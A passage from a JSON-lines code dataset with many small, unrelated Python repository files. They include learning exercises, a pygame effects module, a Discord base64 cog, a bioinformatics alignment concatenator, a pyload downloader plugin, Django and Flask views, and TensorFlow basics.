conn)\n db_df.to_csv('meteo.csv', index=False)\n\nif __name__ == \"__main__\":\n df = getter()\n preproc(df)\n check()\n #export()\n","repo_name":"eugenetsi/weather_api","sub_path":"populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":6734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14959529349","text":"# author: MLebedev\n\"\"\" Практика по ООП #10\n\nhttps://younglinux.info/oopython/generator\n\nВ задании к прошлому уроку требовалось написать класс-итератор, объекты которого\nгенерируют случайные числа в количестве и в диапазоне, которые передаются в конструктор.\nНапишите выполняющую ту же задачу генераторную функцию. В качестве аргументов она должна\nпринимать количество элементов и диапазон.\n\n\"\"\"\n\n\nfrom random import randint\n\n\ndef num_generator(count, start, stop):\n for i in range(count):\n yield randint(start, stop)\n\n\ndef main():\n nums = num_generator(4, 100, 500)\n\n for i in nums:\n print(i)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"LebedevMaksim/Python","sub_path":"oop basics/10_basics_generator.py","file_name":"10_basics_generator.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4644686620","text":"from typing import Tuple\nimport pygame\nfrom random import randint\nfrom backend.settings import Controls\n\n\nclass Effects(list):\n def handle_pygame_events(self, event):\n for effect in self:\n effect.handle_pygame_events(event)\n def step(self):\n for effect in self:\n effect.step()\n\n def draw(self):\n for effect in self:\n effect.draw()\n\n\nclass Effect:\n def __init__(self, win: pygame.Surface, controls: Controls) -> None:\n self.name = \"\"\n self.win = win\n self.surf = None\n self.controls = controls\n\n def handle_pygame_events(self, event):\n pass\n\n def step(self):\n pass\n\n def draw(self):\n self.win.blit(self.surf, (0, 0))\n\n\nclass DarknessEffect(Effect):\n def __init__(self, win: pygame.Surface, controls: Controls) -> None:\n super().__init__(win, controls)\n self.name = \"darkness\"\n self.amount = 200\n self.light_sources = []\n self.surf = pygame.Surface(self.win.get_size(), pygame.SRCALPHA)\n self.surf.fill((0, 0, 0, self.amount))\n\n self.light_surf_base = pygame.image.load(r\"./assets/images/light.png\")\n\n self.focused_light = None\n self.dragged_light = None\n\n def create_light_source(self, pos, radius):\n light = [pos, radius]\n self.light_sources.append(light)\n\n def handle_pygame_events(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n if self.focused_light:\n self.dragged_light = self.focused_light\n elif event.type == pygame.MOUSEBUTTONUP and event.button == 1:\n self.dragged_light = None\n elif event.type == pygame.MOUSEMOTION:\n if self.dragged_light:\n self.dragged_light[0] = event.pos\n elif event.type == pygame.MOUSEWHEEL:\n if self.focused_light:\n scale_factor = 1 + (event.y / 10)\n self.focused_light[1] *= scale_factor\n if self.focused_light[1] <= 0:\n self.focused_light[1] = 1\n elif event.type == pygame.KEYDOWN:\n if event.key == self.controls.get(\"light\"):\n mouse_pos = pygame.mouse.get_pos()\n self.create_light_source(mouse_pos, 50)\n elif event.key == pygame.K_DELETE:\n if self.focused_light:\n self.light_sources.remove(self.focused_light)\n self.focused_light = None\n\n def step(self):\n self.focused_light = None\n self.surf.fill((0, 0, 0, self.amount))\n # update lights\n mouse_pos = pygame.mouse.get_pos()\n for light in self.light_sources:\n pos, radius = light\n factor = radius * 3 / self.light_surf_base.get_width()\n\n light_surf = pygame.transform.smoothscale_by(self.light_surf_base, factor)\n self.surf.blit(\n light_surf,\n (\n pos[0] - light_surf.get_width() // 2,\n pos[1] - light_surf.get_height() // 2,\n ),\n special_flags=pygame.BLEND_RGBA_SUB,\n )\n\n if (mouse_pos[0] - pos[0]) * (mouse_pos[0] - pos[0]) + (\n mouse_pos[1] - pos[1]\n ) * (mouse_pos[1] - pos[1]) < 2500:\n self.focused_light = light\n\n def draw(self):\n super().draw()\n if self.focused_light:\n pygame.draw.circle(self.win, (255, 255, 255), self.focused_light[0], 50, 1)\n\n\nclass ColorFilter(Effect):\n def __init__(\n self, win: pygame.Surface, color: Tuple[int, int, int], controls: Controls\n ) -> None:\n super().__init__(win, controls)\n self.color = color\n\n def draw(self):\n self.win.fill(self.color, special_flags=pygame.BLEND_MULT)\n\n\ndef screen(win, color):\n ''' screen blending mode '''\n win_inv = pygame.Surface(win.get_size())\n win_inv.fill((255,255,255))\n win_inv.blit(win, (0,0), special_flags=pygame.BLEND_RGBA_SUB)\n\n color_inv = pygame.Surface(win.get_size())\n color_inv.fill((255,255,255))\n color_inv.fill(color, special_flags=pygame.BLEND_RGBA_SUB)\n\n win_inv.blit(color_inv, (0,0), special_flags=pygame.BLEND_RGBA_MULT)\n\n win.fill((255,255,255))\n win.blit(win_inv, (0,0), special_flags=pygame.BLEND_RGBA_SUB)\n\n\nclass Rain(Effect):\n def __init__(self, win: pygame.Surface, controls: Controls) -> None:\n super().__init__(win, controls)\n self.particles = []\n self.max_particles = 100\n\n def step(self):\n if len(self.particles) < self.max_particles:\n if randint(1, 100) > 10:\n # create a new particle\n x = 5\n\n def draw(self):\n for particle in self.particles:\n pass\n","repo_name":"shahafashash/dnd-vtt","sub_path":"frontend/effects.py","file_name":"effects.py","file_ext":"py","file_size_in_byte":4791,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"20922032638","text":"from vunit import VUnit\r\nimport numpy as np\r\nimport oct2py\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom subprocess import call\r\n\r\noc = oct2py.Oct2Py()\r\noc.addpath('Matlab')\r\n\r\n\r\nprint(\"Trabajo final\")\r\n\r\n#NUM_SYMB = 10 # Número de símbols a transmitir\r\nSEED=100; # Semilla para el generador de números aleatorios\r\nCONSTEL = '64QAM'; # Constelación utilizada BPSK o QPSK\r\nMODO = '8K'\r\nSNR=20; #SNR en dB\r\nCP = 1/32; \r\n\r\n[bits_tx, N_portadoras, NFFT, const_points, H_real, H_est, S_tx] = oc.escribir_portadoras(SEED, CONSTEL, MODO, SNR, CP,nout=7)\r\n#np.savetxt('../Matlab/bits_tx.csv',bits_tx,delimiter=',')\r\nNFFT = int(NFFT) # Se pasaba como float\r\nN_portadoras = int(N_portadoras)\r\nN_pilotos = int(np.ceil(N_portadoras/12))\r\n\r\n# Create VUnit instance by parsing command-line arguments\r\nvu = VUnit.from_argv()\r\n\r\n# Enable OSVVM (Open Source VHDL Verification Methology)2\r\nvu.add_osvvm()\r\n\r\n# Create library 'src_lib', where our files will be compiled\r\nlib = vu.add_library(\"src_lib\")\r\n\r\n# Add all files ending in .vhd in current working directory to our library 'src_lib'\r\nlista = [\"*.vhd\"]\r\n\r\nlib.add_source_files(lista)\r\n\r\n\r\n# Enable code coverage collection\r\nlib.set_sim_option(\"enable_coverage\", True)\r\nlib.set_compile_option(\"enable_coverage\", True)\r\n\r\n\r\n# Función llamada después de la ejecución de VHDL\r\ndef post_func(results):\r\n\r\n results.merge_coverage(file_name=\"coverage_data\")\r\n if vu.get_simulator_name() == \"ghdl\":\r\n call([\"gcovr\", \"coverage_data\"])\r\n call([\"lcov\", '--capture', '--directory', '.', '--output', 'coverage.info'])\r\n call([\"genhtml\", \"coverage.info\", \"--output-directory\", \"coverage_report\"])\r\n\r\n \r\n # Mostramos datos y gráficas de interés\r\n \r\n [H_est_vhdl, S_tx_vhdl, rx_constel, bits_rx_vhdl] = oc.resultados(CONSTEL, MODO, nout=4)\r\n BER = np.mean(np.logical_xor(bits_tx, np.transpose(bits_rx_vhdl)))\r\n \r\n print(\"BER = \"+ str(BER))\r\n\r\n plt.figure()\r\n plt.scatter(np.real(const_points),np.imag(const_points))\r\n plt.grid()\r\n plt.title('Constelación transmitida')\r\n\r\n # Esto es para eliminar el warning de log10(0) = -inf\r\n def replaceZeros(data):\r\n min_nonzero = np.min(data[np.nonzero(data)])\r\n data[data == 0] = min_nonzero\r\n return data\r\n\r\n H_est_vhdl = replaceZeros(H_est_vhdl)\r\n\r\n plt.figure()\r\n plt.plot(np.linspace(-NFFT/2,NFFT/2-1,NFFT),20*np.log10(np.abs(H_real)))\r\n plt.plot(np.linspace(-np.floor(N_portadoras/2),np.ceil(N_portadoras/2)-1,N_portadoras),20*np.log10(np.abs(H_est)))\r\n plt.plot(np.linspace(-np.floor(N_portadoras/2),np.ceil(N_portadoras/2)-1,N_portadoras),20*np.log10(np.abs(H_est_vhdl)))\r\n plt.legend(['H real','H est', 'H(vhdl)'])\r\n plt.grid()\r\n\r\n\r\n S_tx_vhdl = replaceZeros(S_tx_vhdl)\r\n\r\n plt.figure()\r\n plt.plot(np.linspace(-np.floor((N_portadoras-N_pilotos)/2),np.floor((N_portadoras-N_pilotos)/2)-1,N_portadoras-N_pilotos),20*np.log10(np.abs(S_tx)))\r\n plt.plot(np.linspace(-np.floor((N_portadoras-N_pilotos)/2),np.floor((N_portadoras-N_pilotos)/2)-1,N_portadoras-N_pilotos),20*np.log10(np.abs(S_tx_vhdl)))\r\n plt.grid()\r\n plt.title('Símbolo recibido')\r\n plt.legend(['S_tx', 'S_tx(vhdl)'])\r\n\r\n\r\n plt.figure()\r\n plt.scatter(np.real(rx_constel),np.imag(rx_constel))\r\n plt.grid()\r\n plt.title('Constelación recibida')\r\n\r\n\r\n plt.show()\r\n\r\n\r\n# Run vunit function\r\nvu.main(post_run=post_func)\r\n\r\n","repo_name":"antaramol/edc-mit","sub_path":"trabajo/VHDL/general/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39849841041","text":"import json\nfrom matplotlib import pyplot as plt\nwith open('data.json','r') as f:\n\ttrips = json.loads(f.read())\n#print zip(*trips)[0]\n#segregate by mode\ncar = [trip for trip in trips if int(trip[0][1])==3 or int(trip[0][1])==4]\nwalk = [trip for trip in trips if int(trip[0][1])==1]\nbus = [trip for trip in trips if int(trip[0][1])==6]\n\n#function to get an array of trip speeds\ndef getTripsSpeeds(trips):\n\treturn [[float(a[2]) for a in trip] for trip in trips]\n\ndef flatten(arr):\n\tbeef =[]\n\tfor trip in arr:\n\t\tbeef += trip\n\treturn beef\n\nplt.plot(getTripsSpeeds(car)[0])\nplt.show()","repo_name":"jhylands/GPS","sub_path":"project/oldCode/multi-mode D1/running out of names.py","file_name":"running out of names.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3655218542","text":"with open(\"input.txt\", \"r\") as f:\n numbers = [int(x) for x in f.readlines()]\n\n# Part 1\nlast = None\ninc = 0\nfor num in numbers:\n if last:\n if num > last:\n inc += 1\n last = num\n\nprint(f\"Increasing: {inc}\")\n\n# Part 2\nsums = []\nfor i in range(len(numbers)-2):\n sums.append(sum([numbers[i], numbers[i+1], numbers[i+2]]))\n\nlast = None\ninc = 0\nfor num in sums:\n if last:\n if num > last:\n inc += 1\n last = num\n\nprint(f\"Increasing: {inc}\")\n","repo_name":"jakubhlava/AdventOfCode2021","sub_path":"day1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17981868087","text":"#!/usr/bin/python3\n\"\"\" Module: 0-add_integer\n Contain the add_integer function that return the add of two integers\n Testing: use tests/0-add_integer.txt with doctest()\n\n\"\"\"\n\n\ndef add_integer(a, b=98):\n \"\"\"add_integer function that add 2 integers\n Args:\n a (int, float): fistr number\n b (int, float): second number\n Returns:\n the addition of a and b\n \"\"\"\n if isinstance(a, float):\n a = int(a)\n if isinstance(b, float):\n b = int(b)\n if a is None or not isinstance(a, int):\n raise TypeError(\"a must be an integer\")\n if not isinstance(b, int):\n raise TypeError(\"b must be an integer\")\n\n return int(a) + int(b)\n","repo_name":"david-develop/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24706663642","text":"# base64 cipher [encoding] package for the the codex project\n\n# created by : Fyzz\nimport discord\nfrom discord.ext import commands\nimport base64\n\nclass b64(commands.Cog):\n def __init__(self, client):\n self.client = client\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(__file__, ' Online')\n\n @commands.command()\n async def b64(self, ctx, action, *, text):\n # \"encode\" or \"e\" entered\n if action == \"encode\" or action == \"e\":\n text = text.encode('ascii')\n b64_bytes = base64.b64encode(text)\n output = b64_bytes.decode('ascii')\n await ctx.send(output)\n return [output, True]\n\n # \"decode\" or \"d\" entered\n elif action == \"decode\" or \"d\":\n text = text.encode('ascii')\n b64_bytes = base64.b64decode(text)\n output = b64_bytes.decode('ascii')\n await ctx.send(output)\n return [output, True]\n\n else:\n # HELP MENU\n embed = discord.Embed(title=\"__base64 Command Menu__\", color=0x2b2a2a)\n embed.add_field(name=\"Commands\", value=\"**decode** or **d** - decode base64 encoded text \\n **encode** or **e** - base64 encode text\", inline=False)\n await ctx.send(embed=embed)\n\nasync def setup(client):\n await client.add_cog(b64(client))","repo_name":"misarb/Earth-Invader","sub_path":"cogs/b64.py","file_name":"b64.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"10430575407","text":"import argparse\nimport os\nimport pandas as pd\nfrom functools import reduce\nimport sys\nimport shutil\n\nusage = \"\"\"\n\npython concatenate_alignments.py --input example_data/alignments/ --type DNA --output example_output --prefix example \n\n\"\"\"\n\ndescription = \"\"\"\nPython script to create a concatenated alignment of aligned gene sequences and partition file suitable for raxaml or iqtree. This script requires the Pandas library. Genes must be (1) aligned, (2) in fasta format, (3) in a single directory, (4) named .fasta and (5) with sequences named based on only. Pay special attention to the naming of the fasta files as .fasta and the sequences as , as this information is used to build the concatentated alignments. \n\"\"\"\n\n# argparse\nparser = argparse.ArgumentParser(usage=usage, description=description)\nparser.add_argument(\"--input\", help = \"Input directory containing fasta files.\", required=True)\nparser.add_argument(\"--type\", help = \"Alignment type.\", choices = ['DNA', 'PROTEIN'], required=True)\nparser.add_argument(\"--prefix\", help = \"Output file prefix.\", required=True)\nparser.add_argument(\"--output\", help = \"Output directory.\", required=True)\nparser.add_argument(\"--overwrite\", help = \"Overwrite output directory.\", required=False, action = \"store_true\")\nargs = parser.parse_args()\n\n# read multi-line fasta \ndef read_fasta(filename):\n name, seq = None,\"\"\n fasta = open(filename)\n for line in fasta:\n if line.startswith('>') and name == None:\n name = line.rstrip('\\n').replace('>','')\n else:\n if line.startswith('>') and name != None:\n yield [name, seq]\n name = line.rstrip('\\n').replace('>','')\n seq = ''\n else:\n seq = seq + line.rstrip('\\n')\n yield [name, seq]\n fasta.close()\n\n# list fasta files\nlist_filenames = []\nfor file in os.listdir(args.input): \n if file.endswith(\".fasta\"):\n list_filenames.append(file)\n\n# sort filenames\nlist_filenames = sorted(list_filenames)\n\n# create empty list to populate with pandas dataframes\nlist_pandas_df = []\n\n# iterate through fasta files\nfor filename in list_filenames:\n # get name of gene from the file name\n gene = filename.replace('.fasta','')\n # read fasta as list of sequences\n fasta = read_fasta(f'{args.input}/{filename}')\n # convert list to pandas dataframe\n fasta_df = pd.DataFrame(data=fasta, columns = ['sample', 'sequence'])\n # replace gene names in the sample column\n # fasta_df = fasta_df.replace(f';{gene}', '' , regex = True)\n # set sample names as index\n fasta_df = fasta_df.set_index('sample')\n # rename sequence column as the gene name\n fasta_df = fasta_df.rename(columns = {'sequence':gene})\n # append to list of pandas dataframes\n list_pandas_df.append(fasta_df)\n\n# merge dataframe by indexes\nmerge_df = reduce(lambda left, right : pd.merge(left, right, how='outer', left_index=True, right_index=True), list_pandas_df)\n\n# perform alignment checks and replace NaNs with gaps\n\n# iterate through columns\nfor i in merge_df.columns:\n # get sequences as Series\n seq = merge_df[i]\n # sequence lengths excluding NaNs\n seq_len = seq.dropna().str.len()\n # max length\n max_len = max(seq_len)\n # check all sequences are the same length (aligned)\n if not all(seq_len == max_len):\n sys.exit(f'Error: Sequence lengths for {i} are variable')\n # replace NaN with gaps '-' the same length as the sequence\n seq[seq.isnull()] = '-'*max_len\n\n# get gene lengths as series with name 'gene_lengths'\ngene_lengths = merge_df.iloc[1].str.len().rename('gene_lengths')\n\n# create dataframe of partitions\npt = pd.DataFrame(gene_lengths, index = merge_df.columns)\npt['end'] = pt['gene_lengths'].cumsum()\npt['start'] = (pt['end'] - pt['gene_lengths']) + 1\npt = pt[['start','end']]\n\n\n# create output dir if not already presnet\nif not os.path.exists(args.output):\n os.mkdir(args.output)\nelse:\n if not args.overwrite:\n sys.exit(\"Error: Output directory already exists. Remove or use --overwrite\")\n else:\n shutil.rmtree(args.output)\n os.mkdir(args.output)\n\n# write concatenated fasta\nconcat_fasta = open(f'{args.output}/{args.prefix}.fasta', 'w')\nfor index, row in merge_df.iterrows():\n concat_fasta.write(f'>{index}\\n')\n concat_fasta.write(f'{row.str.cat(sep=\"\")}\\n')\nconcat_fasta.close()\n\n# write partition file\npartition = open(f'{args.output}/{args.prefix}.txt', 'w')\nfor index, row in pt.iterrows():\n partition.write(f'{args.type}, {index} = {row[\"start\"]}-{row[\"end\"]}\\n')\npartition.close()\n\n\n","repo_name":"o-william-white/skim2phylo","sub_path":"scripts/concatenate_alignments.py","file_name":"concatenate_alignments.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"16254064880","text":"num1 = int(input(\"Enter a number: \"))\nnum2 = int(input(\"Enter another number: \"))\noperator = input(\"Enter an operator (+ or -): \")\n\naddition = num1 + num2\nsubtraction = num1 - num2\n\nif operator == \"+\":\n print(\"The sum of these numbers is \" + str(addition))\nelif operator == \"-\":\n print(num1, \"minus\", num2, \"is\", subtraction)\nelse:\n print(\"Invalid operator. Please enter + or -.\")\n","repo_name":"jdussold/cf-python-acheivement-1","sub_path":"exercise_1.3/1.3-Practice Task 1/1.3-practice-task-1.py","file_name":"1.3-practice-task-1.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28959359531","text":"# -*- coding: utf-8 -*-\n\nimport re\n\nfrom ..base.simple_downloader import SimpleDownloader\n\n\nclass DailyuploadsNet(SimpleDownloader):\n __name__ = \"DailyuploadsNet\"\n __type__ = \"downloader\"\n __version__ = \"0.01\"\n __status__ = \"testing\"\n\n __pattern__ = r\"https?://(?:www\\.)?dailyuploads\\.net/\\w+\"\n __config__ = [\n (\"enabled\", \"bool\", \"Activated\", True),\n (\"use_premium\", \"bool\", \"Use premium account if available\", True),\n (\"fallback\", \"bool\", \"Fallback to free download if premium fails\", True),\n (\"chk_filesize\", \"bool\", \"Check file size\", True),\n (\"max_wait\", \"int\", \"Reconnect if waiting time is greater than minutes\", 10),\n ]\n\n __description__ = \"\"\"Sendit.cloud downloader plugin\"\"\"\n __license__ = \"GPLv3\"\n __authors__ = [(\"GammaC0de\", \"nitzo2001[AT]yahoo[DOT]com\")]\n\n NAME_PATTERN = r\"Filename:(?P.+?)\"\n SIZE_PATTERN = (\n r\"Size:.+?\\((?P[\\d.,]+) (?Pbytes)\\)\"\n )\n\n OFFLINE_PATTERN = r\">File Not Found'\n\n def setup(self):\n self.multi_dl = True\n self.resume_download = True\n self.chunk_limit = 1\n\n def handle_free(self, pyfile):\n url, inputs = self.parse_html_form('name=\"F1\"')\n if inputs is not None:\n inputs[\"referer\"] = pyfile.url\n self.data = self.load(pyfile.url, post=inputs)\n\n m = re.search(self.LINK_FREE_PATTERN, self.data)\n if m is not None:\n self.link = m.group(1)\n","repo_name":"pyload/pyload","sub_path":"src/pyload/plugins/downloaders/DailyuploadsNet.py","file_name":"DailyuploadsNet.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":3038,"dataset":"github-code","pt":"18"} +{"seq_id":"27862711094","text":"import datetime\n\nclass event():\n\n\tdef __init__(self, ident, time, action, tz, *args):\n\t\tself.ident = ident\n\t\tself.tz = tz\n\t\tself.time = self.make_time(time)\n\t\tself.action = action\n\t\tself.args = args[0]\n\t\t# print(\"Event object created with time {}\".format(self.time))\n\n\t# Takes in an hour and a minute and returns a time object with the current date and specified time\n\tdef make_time(self, str):\n\t\tparts = str.split(':')\n\t\tnow = datetime.datetime.now(self.tz)\n\t\tmke = \"{}-{}-{} {}:{}:{}\".format(now.month, now.day, now.year, parts[0], parts[1], 0)\n\t\tobj = datetime.datetime.strptime(mke, \"%m-%d-%Y %H:%M:%S\")\n\t\treturn obj\n\n\tdef get_time(self):\n\t\treturn self.time\n\n\tdef call_act(self):\n\t\tself.action(self.args)\n\n\tdef compare_time(self, time):\n\t\tif (self.time.hour > time.hour):\n\t\t\treturn 1\n\t\telif (self.time.hour < time.hour):\n\t\t\treturn -1\n\t\telse:\n\t\t\tif (self.time.minute > time.minute):\n\t\t\t\treturn 1\n\t\t\telif (self.time.minute < time.minute):\n\t\t\t\treturn -1\n\t\t\telse:\n\t\t\t\treturn 0\n\n\tdef compare_event(self, event):\n\t\treturn self.compare_time(event.get_time())","repo_name":"EntangledLabs/LazyMeeting","sub_path":"event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25364949255","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom time import time\n\nt0 = time()\n\nlbpfeatures_real = np.genfromtxt('./lbpfeatures_train_real.csv', delimiter=',', usecols=np.arange(0,99120), dtype=np.float32)\nlbpfeatures_spoof = np.genfromtxt('./lbpfeatures_train_attack.csv', delimiter=',', usecols=np.arange(0,99120), dtype=np.float32)\nlbpfeatures_all = np.vstack((lbpfeatures_real,lbpfeatures_spoof))\n\nprint('data shape is:\\n')\nprint(lbpfeatures_all.shape)\n\nfp = np.memmap('./lbpfeatures_train_pca.bin', dtype='float32', mode='w+', shape=lbpfeatures_all.shape)\n\nfp[:] = lbpfeatures_all[:]\n\ndel fp\n\nt1 = time()\n\nprint('done in %.2g sec' % (t1-t0))\n","repo_name":"joelpou/pydatatools","sub_path":"ml/PCA_prepare_data.py","file_name":"PCA_prepare_data.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33498478891","text":"\n# coding: utf-8\n\n# In[15]:\n\n\nimport tensorflow as tf\nimport numpy as np\nimport IPython\n\n\n# In[2]:\n\n\n# normal method\na = tf.constant(2,name='a')\nb = tf.constant(3,name='b')\n\nx = tf.add(a,b)\n\nwith tf.Session() as sess:\n print(sess.run(x))\n\n\n# In[3]:\n\n\n# using tensor board\n\na = tf.constant(2,name='a1')\nb = tf.constant(3,name='b1')\n\nx = tf.add(a,b,name='add')\n\nwith tf.Session() as sess:\n writer = tf.summary.FileWriter('./graphs',sess.graph)\n print(sess.run(x))\n\nwriter.close()\n\n\n# In[4]:\n\n\n# Constant types\n\na = tf.constant([2,2],name='vector')\nb = tf.constant([[1,2],[3,4]],name='matrix')\n\nwith tf.Session() as sess:\n display(sess.run(a))\n display(sess.run(b))\n\n\n# In[5]:\n\n\n# tensors whoes elements are specific\n\ntf.zeros([2,3],tf.float32)\ninput_tensor = tf.ones([5,2])\n\ntf.zeros_like(input_tensor)\n\ntf.ones([2,3],tf.int32)\ntf.ones_like(input_tensor)\n\n# fill a tensor with a similar value\ntf.ones([3,4],4)\n\n\n# In[6]:\n\n\n# create constants that are sqeuences\n\ntf.linspace(10.0,15.0,10,name='linspace')\n\nstart = 3\nlimit = 20\ndelta = 2\n\ntf.range(start,limit,delta)\n\ntf.range(10,1,-0.5)\n\ntf.range(limit)\n\n\n# In[7]:\n\n\n#tf.random_normal(shape, mean=0.0, stddev=1.0, dtype=tf.float32, seed=None, name=None)\n#tf.truncated_normal(shape, mean=0.0, stddev=1.0, dtype=tf.float32, seed=None,\n#name=None)\n#tf.random_uniform(shape, minval=0, maxval=None, dtype=tf.float32, seed=None,\n#name=None)\n#tf.random_shuffle(value, seed=None, name=None)\n#tf.random_crop(value, size, seed=None, name=None)\n#tf.multinomial(logits, num_samples, seed=None, name=None)\n#tf.random_gamma(shape, alpha, beta=None, dtype=tf.float32, seed=None, name=None)\n\n\n# In[8]:\n\n\n# math operations\na = tf.constant([3,2])\nb = tf.constant([2,2])\ntf.add(a,b)\ntf.add_n([a,b,b]) # a + b + b\ntf.multiply(a,b) # element wise\n#tf.matmul(a,b) # error\ntf.matmul(tf.reshape(a,shape=[1,2]),tf.reshape(b,shape=[2,1]))\ntf.div(a,b)\ntf.mod(a,b)\n\n\n# In[9]:\n\n\n# data types\n\nt_0 = 20 # treated as 0 d array\ntf.zeros_like(t_0) # ===> 0\ntf.ones_like(t_0) # ===> 1\n\nt_1 = [\"apple\",\"banana\",\"orange\"] # ==> treated as 1-D array\ntf.zeros_like(t_1) # ==> ['','','']\n#tf.ones_like(t_1) # ==> error \n\nt_2 = [[ True , False , False ],\n [ False , False , True ],\n [ False , True , False ]]\ntf.zeros_like(t_2)\ntf.ones_like(t_2)\n\n\n# In[10]:\n\n\n# numpy data types\n\ntf.ones([2,2],np.float32)\n\n\n# In[11]:\n\n\n# building the graphs \n## 10 (2 6) ( 3 ) = 360\n## ( 5 )\n#numpy\nm1 = np.array([[2.,6.]])\nm2 = np.array([[3.],[5.]])\n\nprod = 10 * np.dot(m1,m2)\nprint('matmul(numpy) = ',prod)\n\n# tensorflow\n# build the graph\ntm1 = tf.constant([[2.,6.]],name='tm1')\ntm2 = tf.constant([[3.],[5.]],name='tm2')\nproduct = 10 * tf.matmul(tm1,tm2,name='product')\n\n# execute the graph\nwith tf.Session() as sess:\n print('matmul(tesorflow) = ',sess.run(product))\n\n\n# In[14]:\n\n\n# using tensorboard\na = tf.constant(4,name='a') \nb = tf.constant(6,name='b')\nadd = tf.add(a,b,name='add')\n\nwith tf.Session() as sess:\n # to activate tensorboard\n writer = tf.summary.FileWriter('./tensorboard',sess.graph) # create a folder named tensorboard\n \n print('sum = ',sess.run(add)) # print sum\n\nwriter.close() # close the tensorboard\n\n#Next, go to Terminal, run the program. Make sure that your present working directory is the\n#same as where you ran your Python code.\n# $ python [ yourprogram . py ]\n# $ tensorboard -- logdir = \"./graphs\"\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"sanket-k/machine_learning_basics","sub_path":"tensorflow/tensorflow-3.py","file_name":"tensorflow-3.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"25111088482","text":"from django.shortcuts import render, redirect\nfrom .models import Likes\nfrom .models import Users\nfrom .models import Images\nfrom .models import Subscribes\nfrom .models import Posts\nfrom .forms import UsersForm\nfrom django.views.generic import DetailView, UpdateView, DeleteView\n\n\ndef posts_home(request):\n posts = Posts.objects.all()\n users = Users.objects.all()\n images = Images.objects.all()\n subscribes = Subscribes.objects.all()\n likes = Likes.objects.all()\n return render(request, 'posts/posts_home.html', {'users': users, 'posts': posts, 'likes': likes, 'subscribes': subscribes, 'images': images})\n\n\nclass NewsDetailView(DetailView):\n model = Users\n template_name = 'posts/details_view.html'\n context_object_name = 'users'\n\n\nclass NewsUpdateView(UpdateView):\n model = Users\n template_name = 'posts/users_update.html'\n form_class = UsersForm\n\n\nclass NewsDeleteView(DetailView):\n model = Users\n success_url ='/users/'\n template_name = 'posts/users_delete.html'\n\n\n\ndef createUsers(request):\n error = ''\n if request.method == 'POST':\n form = UsersForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('posts_home')\n else:\n error = 'Форма была неверной'\n form = UsersForm\n data = {\n 'form': form,\n 'error': error\n }\n return render(request, 'posts/createUsers.html', data)","repo_name":"MMidaVV/Development-of-professional-applications","sub_path":"lab7/mysite/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23235671508","text":"# Importando app\nfrom app import app\n\n# flask\nfrom flask import redirect, render_template, session, request, flash, url_for\n\n\n# Import Model \nfrom app.models.recipe import Recipe\n\n# Creating routes for dashboard\n@app.route('/recipes/')\ndef recipes():\n \"\"\"\n Funcion de vista `dashboard`\n \"\"\"\n # Protegiendo ruta\n if not session.get(\"user\"):\n return redirect('/')\n \n # Obtenemos todas las recetas\n recipes = Recipe.get_recipe_whit_user()\n # for recipe in recipes:\n # print(recipe)\n\n \n return render_template('recipes/index.html', recipes=recipes)\n\n@app.route('/logout/')\ndef logout():\n \"\"\"\n Funcion de vista cerrar sesion\n \"\"\"\n session.clear()\n\n return redirect('/')\n\n@app.route('/recipes/new/')\ndef recipes_new():\n \"\"\"\n Funcion de vista recipes nex\n \"\"\"\n\n return render_template('recipes/create.html')\n\n@app.route('/recipes/create/', methods=['POST'])\ndef recipes_create():\n \"\"\"\n Funcion de vista crear recipes\n \"\"\"\n\n # Generamos dictionary\n data = {\n \"user_id\": session[\"user\"][\"id\"],\n \"first_name\": session[\"user\"][\"first_name\"],\n \"title\": request.form['title'],\n \"description\": request.form['description'],\n \"instruction\": request.form['instruction'],\n \"date\": request.form['date'],\n \"under\": request.form['under'],\n }\n\n # Enviamos data para validar \n errors = Recipe.validar_recipe(data)\n\n if len(errors) > 0:\n for error in errors:\n print(error)\n flash(error, 'danger')\n \n return redirect(url_for('recipes_new'))\n\n # Si no hay eror creamos el objeto\n recipe = 